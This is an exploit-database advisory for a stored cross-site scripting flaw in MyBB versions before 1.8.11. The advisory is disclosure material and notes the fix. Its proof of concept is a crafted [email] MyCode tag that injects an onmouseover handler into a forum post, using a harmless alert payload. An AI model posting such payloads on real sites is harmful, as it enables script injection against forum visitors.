MyBB < 1.8.11 - 'email' MyCode Cross-Site Scripting



EKU-ID: 46058 CVE: OSVDB-ID:
Author: Zhiyang Zeng Published: 2017-04-11 Verified: Verified
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Description:
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product:MyBB
Homepage:https://mybb.com/
vulnerable  version:<1.8.11
Severity:High risk

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Proof of Concept:
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1.post a thread or reply any thread ,write:

[email=2"onmouseover="alert(document.location)]hover me[/email]

then when user’s mouse hover it,XSS attack will occur!

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Fixed:
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This vulnerability was fixed in version 1.8.11

https://blog.mybb.com/2017/04/04/mybb-1-8-11-merge-system-1-8-11-release/

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